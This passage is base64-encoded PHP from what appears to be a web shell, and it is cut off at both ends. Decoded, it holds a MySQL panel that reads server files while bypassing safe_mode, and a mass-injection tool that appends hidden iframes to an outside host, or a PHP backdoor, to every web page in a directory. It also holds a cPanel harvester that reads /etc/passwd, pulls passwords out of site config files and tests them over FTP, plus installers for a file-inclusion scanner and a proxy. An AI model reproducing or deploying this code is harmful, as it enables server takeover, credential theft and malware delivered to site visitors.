Wx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCk7ID8+Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3FsX2dldGZpbGUiIHNpemU9IjMwIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfZ2V0ZmlsZSk7ID8+Ij4mbmJzcDs8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iR2V0Ij48L2Zvcm0+PC90ZD48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PC90ZD48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3RkPjwvdHI+PC90YWJsZT48P3BocCB9DQogICBpZiAoIWVtcHR5KCRzcWxfeCkpIHsNCiAgICBlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPiI7DQogICAgaWYgKCRzcWxfeCA9PSAibmV3ZGIiKSB7DQogICAgIGVjaG8gIjxiPiI7DQogICAgIGlmICgobXlzcWxfY3JlYXRlX2RiICgkc3FsX25ld2RiKSkgYW5kICghZW1wdHkoJHNxbF9uZXdkYikpKSB7ZWNobyAiREIgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9uZXdkYikuIlwiIGhhcyBiZWVuIGNyZWF0ZWQgd2l0aCBzdWNjZXNzITwvYj48YnI+Ijt9DQogICAgIGVsc2Uge2VjaG8gIkNhbid0IGNyZWF0ZSBEQiBcIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX25ld2RiKS4iXCIuPGJyPlJlYXNvbjo8L2I+ICIubXlzcWxfc21hcnRlcnJvcigpO30NCiAgICB9DQogICAgaWYgKCRzcWxfeCA9PSAic2VydmVyc3RhdHVzIikgew0KICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNIT1cgU1RBVFVTIiwgJHNxbF9zb2NrKTsNCiAgICAgZWNobyAiPGNlbnRlcj48Yj5TZXJ2ZXItc3RhdHVzIHZhcmlhYmxlczo8L2I+PGJyPjxicj4iOw0KICAgICBlY2hvICI8VEFCTEUgY2VsbFNwYWNpbmc9MCBjZWxsUGFkZGluZz0wIGJnY29sb3I9IzAwMDAwMCBib3JkZXJDb2xvckxpZ2h0PSMzMzMzMzMgYm9yZGVyPTE+PHRkPjxiPk5hbWU8L2I+PC90ZD48dGQ+PGI+VmFsdWU8L2I+PC90ZD48L3RyPiI7DQogICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfTlVNKSkge2VjaG8gIjx0cj48dGQ+Ii4kcm93WzBdLiI8L3RkPjx0ZD4iLiRyb3dbMV0uIjwvdGQ+PC90cj4iO30NCiAgICAgZWNobyAiPC90YWJsZT48L2NlbnRlcj4iOw0KICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsNCiAgICB9DQogICAgaWYgKCRzcWxfeCA9PSAic2VydmVydmFycyIpIHsNCiAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTSE9XIFZBUklBQkxFUyIsICRzcWxfc29jayk7DQogICAgIGVjaG8gIjxjZW50ZXI+PGI+U2VydmVyIHZhcmlhYmxlczo8L2I+PGJyPjxicj4iOw0KICAgICBlY2hvICI8VEFCTEUgY2VsbFNwYWNpbmc9MCBjZWxsUGFkZGluZz0wIGJnY29sb3I9IzAwMDAwMCBib3JkZXJDb2xvckxpZ2h0PSMzMzMzMzMgYm9yZGVyPTE+PHRkPjxiPk5hbWU8L2I+PC90ZD48dGQ+PGI+VmFsdWU8L2I+PC90ZD48L3RyPiI7DQogICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfTlVNKSkge2VjaG8gIjx0cj48dGQ+Ii4kcm93WzBdLiI8L3RkPjx0ZD4iLiRyb3dbMV0uIjwvdGQ+PC90cj4iO30NCiAgICAgZWNobyAiPC90YWJsZT4iOw0KICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsNCiAgICB9DQogICAgaWYgKCRzcWxfeCA9PSAicHJvY2Vzc2VzIikgew0KICAgICBpZiAoIWVtcHR5KCRraWxsKSkgew0KICAgICAgICRxdWVyeSA9ICJLSUxMICIuJGtpbGwuIjsiOw0KICAgICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgkcXVlcnksICRzcWxfc29jayk7DQogICAgICAgZWNobyAiPGI+UHJvY2VzcyAjIi4ka2lsbC4iIHdhcyBraWxsZWQuPC9iPiI7DQogICAgIH0NCiAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTSE9XIFBST0NFU1NMSVNUIiwgJHNxbF9zb2NrKTsNCiAgICAgZWNobyAiPGNlbnRlcj48Yj5Qcm9jZXNzZXM6PC9iPjxicj48YnI+IjsNCiAgICAgZWNobyAiPFRBQkxFIGNlbGxTcGFjaW5nPTAgY2VsbFBhZGRpbmc9MiBib3JkZXJDb2xvckxpZ2h0PSMzMzMzMzMgYm9yZGVyPTE+PHRkPjxiPklEPC9iPjwvdGQ+PHRkPjxiPlVTRVI8L2I+PC90ZD48dGQ+PGI+SE9TVDwvYj48L3RkPjx0ZD48Yj5EQjwvYj48L3RkPjx0ZD48Yj5DT01NQU5EPC9iPjwvdGQ+PHRkPjxiPlRJTUU8L2I+PC90ZD48dGQ+PGI+U1RBVEU8L2I+PC90ZD48dGQ+PGI+SU5GTzwvYj48L3RkPjx0ZD48Yj5BY3Rpb248L2I+PC90ZD48L3RyPiI7DQogICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfTlVNKSkgeyBlY2hvICI8dHI+PHRkPiIuJHJvd1swXS4iPC90ZD48dGQ+Ii4kcm93WzFdLiI8L3RkPjx0ZD4iLiRyb3dbMl0uIjwvdGQ+PHRkPiIuJHJvd1szXS4iPC90ZD48dGQ+Ii4kcm93WzRdLiI8L3RkPjx0ZD4iLiRyb3dbNV0uIjwvdGQ+PHRkPiIuJHJvd1s2XS4iPC90ZD48dGQ+Ii4kcm93WzddLiI8L3RkPjx0ZD48YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF94PXByb2Nlc3NlcyZraWxsPSIuJHJvd1swXS4iXCI+PHU+S2lsbDwvdT48L2E+PC90ZD48L3RyPiI7fQ0KICAgICBlY2hvICI8L3RhYmxlPiI7DQogICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOw0KICAgIH0NCiAgICBpZiAoJHNxbF94ID09ICJnZXRmaWxlIikNCiAgICB7DQogICAgICR0bXBkYiA9ICRzcWxfbG9naW4uIl90bXBkYiI7DQogICAgICRzZWxlY3QgPSBteXNxbF9zZWxlY3RfZGIoJHRtcGRiKTsNCiAgICAgaWYgKCEkc2VsZWN0KSB7bXlzcWxfY3JlYXRlX2RiKCR0bXBkYik7ICRzZWxlY3QgPSBteXNxbF9zZWxlY3RfZGIoJHRtcGRiKTsgJGNyZWF0ZWQgPSAhISRzZWxlY3Q7fQ0KICAgICBpZiAoJHNlbGVjdCkNCiAgICAgew0KICAgICAgJGNyZWF0ZWQgPSBGQUxTRTsNCiAgICAgIG15c3FsX3F1ZXJ5KCJDUkVBVEUgVEFCTEUgYHRtcF9maWxlYCAoIGBWaWV3aW5nIHRoZSBmaWxlIGluIHNhZmVfbW9kZStvcGVuX2Jhc2VkaXJgIExPTkdCTE9CIE5PVCBOVUxMICk7Iik7DQogICAgICBteXNxbF9xdWVyeSgiTE9BRCBEQVRBIElORklMRSBcIiIuYWRkc2xhc2hlcygkc3FsX2dldGZpbGUpLiJcIiBJTlRPIFRBQkxFIHRtcF9maWxlIik7DQogICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gdG1wX2ZpbGU7Iik7DQogICAgICBpZiAoISRyZXN1bHQpIHtlY2hvICI8Yj5FcnJvciBpbiByZWFkaW5nIGZpbGUgKHBlcm1pc2lvbiBkZW5pZWQpITwvYj4iO30NCiAgICAgIGVsc2UNCiAgICAgIHsNCiAgICAgICBmb3IgKCRpPTA7JGk8bXlzcWxfbnVtX2ZpZWxkcygkcmVzdWx0KTskaSsrKSB7JG5hbWUgPSBteXNxbF9maWVsZF9uYW1lKCRyZXN1bHQsJGkpO30NCiAgICAgICAkZiA9ICIiOw0KICAgICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfQVNTT0MpKSB7JGYgLj0gam9pbiAoIlxyXG4iLCRyb3cpO30NCiAgICAgICBpZiAoZW1wdHkoJGYpKSB7ZWNobyAiPGI+RmlsZSBcIiIuJHNxbF9nZXRmaWxlLiJcIiBkb2VzIG5vdCBleGlzdHMgb3IgZW1wdHkhPC9iPjxicj4iO30NCiAgICAgICBlbHNlIHtlY2hvICI8Yj5GaWxlIFwiIi4kc3FsX2dldGZpbGUuIlwiOjwvYj48YnI+Ii5ubDJicihodG1sc3BlY2lhbGNoYXJzKCRmKSkuIjxicj4iO30NCiAgICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsNCiAgICAgICBteXNxbF9xdWVyeSgiRFJPUCBUQUJMRSB0bXBfZmlsZTsiKTsNCiAgICAgIH0NCiAgICAgfQ0KICAgICBteXNxbF9kcm9wX2RiKCR0bXBkYik7IA0KICAgIH0NCiAgIH0NCiAgfQ0KfQ0KZWNobyAiPC90ZD48L3RyPjwvdGFibGU+IjsNCmlmICgkc3FsX3NvY2spIHsNCiAgJGFmZmVjdGVkID0gQG15c3FsX2FmZmVjdGVkX3Jvd3MoJHNxbF9zb2NrKTsNCiAgaWYgKCghaXNfbnVtZXJpYygkYWZmZWN0ZWQpKSBvciAoJGFmZmVjdGVkIDwgMCkpeyRhZmZlY3RlZCA9IDA7fQ0KICBlY2hvICI8dHI+PHRkPjxjZW50ZXI+PGI+QWZmZWN0ZWQgcm93cyA6ICIuJGFmZmVjdGVkLiI8L2NlbnRlcj48L3RkPjwvdHI+IjsNCn0NCmVjaG8gIjwvdGFibGU+IjsNCn0NCg0KaWYgKCR4ID09ICdtYXNzYnJvd3NlcnNwbG9pdCcpIHsNCj8+DQoNCjxiPk1hc3MgQ29kZSBJbmplY3Rpb246PC9iPjxicj48YnI+DQpVc2UgdGhpcyB0byBhZGQgSFRNTCB0byB0aGUgZW5kIG9mIGV2ZXJ5IC5waHAsIC5odG0sIGFuZCAuaHRtbCBwYWdlIGluIHRoZSBkaXJlY3Rvcnkgc3BlY2lmaWVkLjxicj48YnI+DQo8Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+IiBtZXRob2Q9R0VUPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Im1hc3NzcGxvaXQiIHZhbHVlPSJnb2FoZWFkIj4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJhY3QiIHZhbHVlPSJtYXNzYnJvd3NlcnNwbG9pdCI+DQo8dGFibGUgYm9yZGVyPTA+DQo8dHI+PHRkPkRpciB0byBpbmplY3Q6IDwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgc2l6ZT01MCBuYW1lPSJwYXRodG9tYXNzIiB2YWx1ZT0iPD9waHAgZWNobyByZWFscGF0aCgnLicpOyA/PiI+IDwtLSBkZWZhdWx0IGlzIGRpciB0aGlzIHNoZWxsIGlzIGluPC90ZD48L3RyPg0KPHRyPjx0ZD5Db2RlIHRvIGluamVjdDogPC90ZD48dGQ+PHRleHRhcmVhIG5hbWU9ImluamVjdHRoaXMiIGNvbHM9NTAgcm93cz00Pjw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygnPElGUkFNRSBzcmM9Imh0dHA6Ly93d3cuZngwLm5hbWUiIHdpZHRoPTAgaGVpZ2h0PTAgZnJhbWVib3JkZXI9MD48L0lGUkFNRT4nKTsgPz48L3RleHRhcmVhPiA8LS0gYmVzdCBiZXQgd291bGQgYmUgdG8gaW5jbHVkZSBhbiBpbnZpc2libGUgaWZyYW1lIG9mIGJyb3dzZXIgZXhwbG9pdHM8L3RkPjwvdHI+DQoNCjx0cj48dGQ+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJJbmplY3QgQ29kZSI+PC90ZD48L3RyPg0KPC90YWJsZT4NCjwvZm9ybT4NCjw/cGhwDQppZiAoJF9HRVRbJ21hc3NzcGxvaXQnXSA9PSAnZ29haGVhZCcpIHsNCglpZiAoaXNfZGlyKCRfR0VUWydwYXRodG9tYXNzJ10pKSB7DQoJCSRsb2xpbmplY3QgPSAkX0dFVFsnaW5qZWN0dGhpcyddOw0KCQlmb3JlYWNoIChnbG9iKCRfR0VUWydwYXRodG9tYXNzJ10uIi8qLnBocCIpIGFzICRpbmplY3RqMDApIHsNCgkJCSRmcD1mb3BlbigkaW5qZWN0ajAwLCJhKyIpOw0KCQkJaWYgKGZwdXRzKCRmcCwkbG9saW5qZWN0KSl7DQoJCQkJZWNobyAnPGZvbnQgY29sb3I9Z3JlZW4+Jy4kaW5qZWN0ajAwLicgd2FzIGluamVjdGVkPGJyPjwvZm9udD4nOw0KCQkJfSBlbHNlIHsNCgkJCQllY2hvICc8Zm9udCBjb2xvcj1yZWQ+ZmFpbGVkIHRvIGluamVjdCAnLiRpbmplY3RqMDAuJzwvZm9udD4nOw0KCQkJfQ0KCQl9DQoJCWZvcmVhY2ggKGdsb2IoJF9HRVRbJ3BhdGh0b21hc3MnXS4iLyouaHRtIikgYXMgJGluamVjdGowMCkgew0KCQkJJGZwPWZvcGVuKCRpbmplY3RqMDAsImErIik7DQoJCQlpZiAoZnB1dHMoJGZwLCRsb2xpbmplY3QpKXsNCgkJCQllY2hvICRpbmplY3RqMDAuJyB3YXMgaW5qZWN0ZWQ8YnI+JzsNCgkJCX0gZWxzZSB7DQoJCQkJZWNobyAnPGZvbnQgY29sb3I9cmVkPmZhaWxlZCB0byBpbmplY3QgJy4kaW5qZWN0ajAwLic8L2ZvbnQ+JzsNCgkJCX0NCgkJfQ0KCQlmb3JlYWNoIChnbG9iKCRfR0VUWydwYXRodG9tYXNzJ10uIi8qLmh0bWwiKSBhcyAkaW5qZWN0ajAwKSB7DQoJCQkkZnA9Zm9wZW4oJGluamVjdGowMCwiYSsiKTsNCgkJCWlmIChmcHV0cygkZnAsJGxvbGluamVjdCkpew0KCQkJCWVjaG8gJGluamVjdGowMC4nIHdhcyBpbmplY3RlZDxicj4nOw0KCQkJfSBlbHNlIHsNCgkJCQllY2hvICc8Zm9udCBjb2xvcj1yZWQ+ZmFpbGVkIHRvIGluamVjdCAnLiRpbmplY3RqMDAuJzwvZm9udD4nOw0KCQkJfQ0KCQl9DQoJfSBlbHNlIHsgLy9lbmQgaWYgaW5wdXR0ZWQgZGlyIGlzIHJlYWwgLS0gaWYgbm90LCBzaG93IGFuIHVnbHkgcmVkIGVycm9yDQoJCWVjaG8gJzxiPjxmb250IGNvbG9yPXJlZD4nLiRfR0VUWydwYXRodG9tYXNzJ10uJyBpcyBub3QgYXZhaWxhYmxlITwvZm9udD48L2I+JzsNCgl9IC8vIGVuZCBpZiBpbnB1dHRlZCBkaXIgaXMgcmVhbCwgZm9yIHJlYWwgdGhpcyB0aW1lDQp9IC8vIGVuZCBpZiBjb25maXJtYXRpb24gdG8gbWFzcyBzcGxvaXQgaXMgZ28NCg0KLy9uZXcgcGhwIGJhY2tkb29yDQo/Pg0KPGI+TWFzcyBDb2RlIEluamVjdGlvbjo8L2I+PGJyPjxicj4NCg0KVXNlIHRoaXMgdG8gYWRkIFBIUCB0byB0aGUgZW5kIG9mIGV2ZXJ5IC5waHAgcGFnZSBpbiB0aGUgZGlyZWN0b3J5IHNwZWNpZmllZC48YnI+PGJyPg0KPGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRzdXJsOyA/PiIgbWV0aG9kPUdFVD4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJtYXNzc3Bsb2l0IiB2YWx1ZT0icGhwIj4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJhY3QiIHZhbHVlPSJtYXNzYnJvd3NlcnNwbG9pdCI+DQo8dGFibGUgYm9yZGVyPTA+DQo8dHI+PHRkPkRpciB0byBpbmplY3Q6IDwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgc2l6ZT01MCBuYW1lPSJwYXRodG9tYXNzIiB2YWx1ZT0iPD9waHAgZWNobyByZWFscGF0aCgnLicpOyA/PiI+IDwtLSBkZWZhdWx0IGlzIGRpciB0aGlzIHNoZWxsIGlzIGluPC90ZD48L3RyPg0KPHRyPjx0ZD5Db2RlIHRvIGluamVjdDogPC90ZD48dGQ+PHRleHRhcmVhIG5hbWU9ImluamVjdHRoaXMiIGNvbHM9NTAgcm93cz00Pjw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygnPD9waHAgaWYgKCRfR0VUWyJ4Il0gPT0gImx1bCIpIHsgLypjb2RlKi87IH0gPz4nKTsgPz48L3RleHRhcmVhPjwvdGQ+PC90cj4NCjx0cj48dGQ+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJJbmplY3QgQ29kZSI+PC90ZD48L3RyPg0KPC90YWJsZT4NCjwvZm9ybT4NCjw/cGhwDQppZiAoJF9HRVRbJ21hc3NzcGxvaXQnXSA9PSAncGhwJykgew0KCWlmIChpc19kaXIoJF9HRVRbJ3BhdGh0b21hc3MnXSkpIHsNCgkJJGxvbGluamVjdCA9ICRfR0VUWydpbmplY3R0aGlzJ107DQoJCWZvcmVhY2ggKGdsb2IoJF9HRVRbJ3BhdGh0b21hc3MnXS4iLyoucGhwIikgYXMgJGluamVjdGowMCkgew0KCQkJJGZwPWZvcGVuKCRpbmplY3RqMDAsImErIik7DQoJCQlpZiAoZnB1dHMoJGZwLCRsb2xpbmplY3QpKXsNCgkJCQllY2hvICc8Zm9udCBjb2xvcj1ncmVlbj4nLiRpbmplY3RqMDAuJyB3YXMgaW5qZWN0ZWQ8YnI+PC9mb250Pic7DQoJCQl9IGVsc2Ugew0KCQkJCWVjaG8gJzxmb250IGNvbG9yPXJlZD5mYWlsZWQgdG8gaW5qZWN0ICcuJGluamVjdGowMC4nPC9mb250Pic7DQoJCQl9DQoJCX0NCgl9IGVsc2UgeyAvL2VuZCBpZiBpbnB1dHRlZCBkaXIgaXMgcmVhbCAtLSBpZiBub3QsIHNob3cgYW4gdWdseSByZWQgZXJyb3INCgkJZWNobyAnPGI+PGZvbnQgY29sb3I9cmVkPicuJF9HRVRbJ3BhdGh0b21hc3MnXS4nIGlzIG5vdCBhdmFpbGFibGUhPC9mb250PjwvYj4nOw0KCX0gLy8gZW5kIGlmIGlucHV0dGVkIGRpciBpcyByZWFsLCBmb3IgcmVhbCB0aGlzIHRpbWUNCn0gLy8gZW5kIGlmIGNvbmZpcm1hdGlvbiB0byBtYXNzIHNwbG9pdCBpcyBwaHAgb25seQ0KDQoNCn0gLy8gZW5kIGlmIG1hc3Nicm93c2Vyc3Bsb2l0IGlzIGNhbGxlZA0KDQoNCg0KDQoNCmlmICgkeCA9PSAnY3BhbmVsJyl7DQoJaWYgKCRfR0VUWydnbyddID09ICdnbycpew0KCXNldF90aW1lX2xpbWl0KDApOw0KCSMjIyMjIyMjIyMjIyMjIyMjIw0KCUAkcGFzc3dkPWZvcGVuKCcvZXRjL3Bhc3N3ZCcsJ3InKTsNCglpZiAoISRwYXNzd2QpIHsNCgkgICBlY2hvICJbLV0gRXJyb3IgOiBjb3Vkbid0IHJlYWQgL2V0Yy9wYXNzd2QiOw0KCSAgIGV4aXQ7DQoJfQ0KCSRwYXRoX3RvX3B1YmxpYz1hcnJheSgpOw0KCSR1c2Vycz1hcnJheSgpOw0KCSRwYXRodG9jb25mPWFycmF5KCk7DQoJJGk9MDsNCgkNCgl3aGlsZSghZmVvZigkcGFzc3dkKSkgew0KCSAgJHN0cj1mZ2V0cygkcGFzc3dkKTsNCgkgIGlmICgkaT4zNSkgew0KCQkkcG9zPXN0cnBvcygkc3RyLCI6Iik7DQoJCSR1c2VybmFtZT1zdWJzdHIoJHN0ciwwLCRwb3MpOw0KCQkkZGlyej0iL2hvbWUvJHVzZXJuYW1lL3B1YmxpY19odG1sLyI7DQoJCWlmICgoJHVzZXJuYW1lIT0iIikpIHsNCgkJCWlmIChpc19yZWFkYWJsZSgkZGlyeikpIHsNCgkJCQlhcnJheV9wdXNoKCR1c2VycywkdXNlcm5hbWUpOw0KCQkJCWFycmF5X3B1c2goJHBhdGhfdG9fcHVibGljLCRkaXJ6KTsNCgkJCX0NCgkJfQ0KCSAgfQ0KCSAgJGkrKzsNCgl9DQoJIyMjIyMjIyMjIyMjIyMjIyMjIw0KCQ0KCSMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCglmdW5jdGlvbiByZWFkX2RpcigkcGF0aCwkdXNlcm5hbWUpIHsNCgkJaWYgKCRoYW5kbGUgPSBvcGVuZGlyKCRwYXRoKSkgew0KCQkJd2hpbGUgKGZhbHNlICE9PSAoJGZpbGUgPSByZWFkZGlyKCRoYW5kbGUpKSkgew0KCQkJCSAgJGZwYXRoPSIkcGF0aCRmaWxlIjsNCgkJCQkgIGlmICgoJGZpbGUhPScuJykgYW5kICgkZmlsZSE9Jy4uJykpIHsNCgkJCQkJIGlmIChpc19yZWFkYWJsZSgkZnBhdGgpKSB7DQoJCQkJCQkkZHI9IiRmcGF0aC8iOw0KCQkJCQkJaWYgKGlzX2RpcigkZHIpKSB7DQoJCQkJCQkgICByZWFkX2RpcigkZHIsJHVzZXJuYW1lKTsNCgkJCQkJCX0NCgkJCQkJCWVsc2Ugew0KCQkJCQkJCSBpZiAoKCRmaWxlPT0nY29uZmlnLnBocCcpIG9yICgkZmlsZT09J2NvbmZpZy5pbmMucGhwJykgb3IgKCRmaWxlPT0nZGIuaW5jLnBocCcpIG9yICgkZmlsZT09J2Nvbm5lY3QucGhwJykgb3IgKCRmaWxlPT0nd3AtY29uZmlnLnBocCcpIG9yICgkZmlsZT09J3Zhci5waHAnKSBvciAoJGZpbGU9PSdjb25maWd1cmUucGhwJykgb3IgKCRmaWxlPT0nZGIucGhwJykgb3IgKCRmaWxlPT0nZGJfY29ubmVjdC5waHAnKSkgew0KCQkJCQkJCQkkcGFzcz1nZXRfcGFzcygkZnBhdGgpOw0KCQkJCQkJCQlpZiAoJHBhc3MhPScnKSB7DQoJCQkJCQkJCSAgIGVjaG8gIlsrXSAkZnBhdGhcbiRwYXNzXG4iOw0KCQkJCQkJCQkgICBmdHBfY2hlY2soJHVzZXJuYW1lLCRwYXNzKTsNCgkJCQkJCQkJfQ0KCQkJCQkJCSB9DQoJCQkJCQl9DQoJCQkJCSB9DQoJCQkJICB9DQoJCQl9DQoJCX0NCgl9DQoJDQoJZnVuY3Rpb24gZ2V0X3Bhc3MoJGxpbmspIHsNCgkJQCRjb25maWc9Zm9wZW4oJGxpbmssJ3InKTsNCgkJd2hpbGUoIWZlb2YoJGNvbmZpZykpIHsNCgkJCSRsaW5lPWZnZXRzKCRjb25maWcpOw0KCQkJaWYgKHN0cnN0cigkbGluZSwncGFzcycpIG9yIHN0cnN0cigkbGluZSwncGFzc3dvcmQnKSBvciBzdHJzdHIoJGxpbmUsJ3Bhc3N3ZCcpKSB7DQoJCQkJaWYgKHN0cnJwb3MoJGxpbmUsJyInKSkNCgkJCQkgICAkcGFzcz1zdWJzdHIoJGxpbmUsKHN0cnBvcygkbGluZSwnPScpKzMpLChzdHJycG9zKCRsaW5lLCciJyktKHN0cnBvcygkbGluZSwnPScpKzMpKSk7DQoJCQkJZWxzZQ0KCQkJCSAgICRwYXNzPXN1YnN0cigkbGluZSwoc3RycG9zKCRsaW5lLCc9JykrMyksKHN0cnJwb3MoJGxpbmUsIiciKS0oc3RycG9zKCRsaW5lLCc9JykrMykpKTsNCgkJCQlyZXR1cm4gJHBhc3M7DQoJCQl9DQoJCX0NCgl9DQoJDQoJZnVuY3Rpb24gZnRwX2NoZWNrKCRsb2dpbiwkcGFzcykgew0KCQkgQCRmdHA9ZnRwX2Nvbm5lY3QoJzEyNy4wLjAuMScpOw0KCQkgaWYgKCRmdHApIHsNCgkJCUAkcmVzPWZ0cF9sb2dpbigkZnRwLCRsb2dpbiwkcGFzcyk7DQoJCQlpZiAoJHJlcykgew0KCQkJICAgZWNobyAnW2NQYW5lbCBGb3VuZF0gJy4kbG9naW4uJzonLiRwYXNzLiIgIFN1Y2Nlc3NcbiI7DQoJCQl9DQoJCQllbHNlIGZ0cF9xdWl0KCRmdHApOw0KCQkgfQ0KCX0NCgkNCgllY2hvICI8YnI+PGJyPiI7DQoJZWNobyAiPHRleHRhcmVhIG5hbWU9J21haW5fd2luZG93JyBjb2xzPTEwMCByb3dzPTIwPiI7DQoJDQoJZWNobyAiWytdIEZvdW5kICIuc2l6ZW9mKCR1c2VycykuIiBlbnRyeXMgaW4gL2V0Yy9wYXNzd2RcbiI7DQoJZWNobyAiWytdIEZvdW5kICIuc2l6ZW9mKCRwYXRoX3RvX3B1YmxpYykuIiByZWFkYWJsZSBwdWJsaWNfaHRtbCBkaXJlY3Rvcmllc1xuIjsNCgkNCgllY2hvICJbfl0gU2VhcmNoaW5nIGZvciBwYXNzd29yZHMgaW4gY29uZmlnLiogZmlsZXMuLi5cblxuIjsNCglmb3JlYWNoICgkdXNlcnMgYXMgJHVzZXIpIHsNCgkJCSRwYXRoPSIvaG9tZS8kdXNlci9wdWJsaWNfaHRtbC8iOw0KCQkJcmVhZF9kaXIoJHBhdGgsJHVzZXIpOw0KCX0NCgkNCgllY2hvICJcblsrXSBEb25lXG4iOw0KCQ0KCWVjaG8gIjwvdGV4dGFyZWE+PGJyPiI7DQoJfWVsc2UNCgllY2hvICc8Y2VudGVyPkFyZSB5b3Ugc3VyZSB5b3Ugd291bGQgbGlrZSB0byBzZWFyY2ggZm9yIGNQYW5lbCBhY2NvdW50cyBvbiB0aGlzIHdlYnNpdGUvc2VydmVyPzxicj5QbGVhc2Ugbm90ZSB0aGlzIG1heSB0YWtlIGEgbG9uZyB0aW1lIHRvIGV4ZWN1dGUgZGVwZW5kaW5nIG9uIHRoZSB3ZWJzaXRlL3NlcnZlciBpdCBpcyBydW4gb24uPGJyPjxicj48YSBocmVmPSInLiRzdXJsLid4PWNwYW5lbCZnbz1nbyI+WWVzPC9hPiB8fCA8YSBocmVmPSInLiRzdXJsLiciPk5vPC9hPjwvY2VudGVyPic7DQp9DQoNCmlmICgkeCA9PSAnZmknKXsNCj8+DQoNCjxiPkluc3RhbGwgTG9jYWwgUkZJL0xGSSBTY2FubmVyPC9iPjxicj4NCjxmb3JtIGFjdGlvbj08P3BocCBlY2hvICRzdXJsOyA/PiBtZXRob2Q9R0VUPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9IngiIHZhbHVlPSJmaSI+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0iaW5zdGFsbCIgdmFsdWU9Inl1cCI+DQpQYXRoIHRvIGluc3RhbGwgaW46IDxpbnB1dCB0eXBlPXRleHQgbmFtZT0icGF0aCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGQ7ID8+Ij4gKG11c3QgaGF2ZSBmaW5hbCAvKTxicj4NCjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iSW5zdGFsbCI+PC9mb3JtPg0KPD9waHANCgkJaWYgKCRfR0VUWydpbnN0YWxsJ10gPT0gJ3l1cCcpIHsNCgkJCWlmIChpc193cml0YWJsZSgkX0dFVFsncGF0aCddKSkgew0KCQkJCWNmKCRfR0VUWydwYXRoJ10uJ2ZpLnBsJywgJGZpKTsNCgkJCQllY2hvICc8Zm9udCBjb2xvcj1ncmVlbj48Yj5maS5wbCB3YXMgY3JlYXRlZCBpbiAnLmh0bWxlbnRpdGllcygkX0dFVFsncGF0aCddKS4nPC9iPjwvZm9udD4nOw0KCQkJCWNobW9kKCRfR0VUWydwYXRoJ10uJy9maS5wbCcsIDA3NzcpOw0KCQkJCWVjaG8gJzxiciAvPlRvIGV4ZWN1dGUsIGJyb3dzZSB0byB0aGUgZGlyZWN0b3J5IHlvdSBpbnN0YWxsZWQgdGhlIHNjYW5uZXIgaW4gYW5kIGV4ZWN1dGUgaXQgZnJvbSB0aGVyZSB1c2luZyBcJ3BlcmwgZmkucGxcJyc7DQoJCQl9ZWxzZXsNCgkJCQllY2hvICc8Zm9udCBjb2xvcj1yZWQ+PGI+RGlyZWN0b3J5IGlzIG5vdCB3cml0YWJsZSE8L2I+PGJyPjwvZm9udD4nOw0KCQkJfQ0KCQl9DQp9DQoNCmlmICgkeCA9PSAncGhwcHJveHknKXsNCj8+DQo8Yj5JbnN0YWxsIFBIUCBCYXNlZCBQcm94eTwvYj48YnI+DQoNCjxmb3JtIGFjdGlvbj08P3BocCBlY2hvICRzdXJsOyA/PiBtZXRob2Q9R0VUPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9IngiIHZhbHVlPSJwaHBwcm94eSI+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0iaW5zdGFsbCIgdmFsdWU9Inl1cCI+DQpQYXRoIHRvIGluc3RhbGwgaW46IDxpbnB1dCB0eXBlPXRleHQgbmFtZT0icGF0aCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGQ7ID8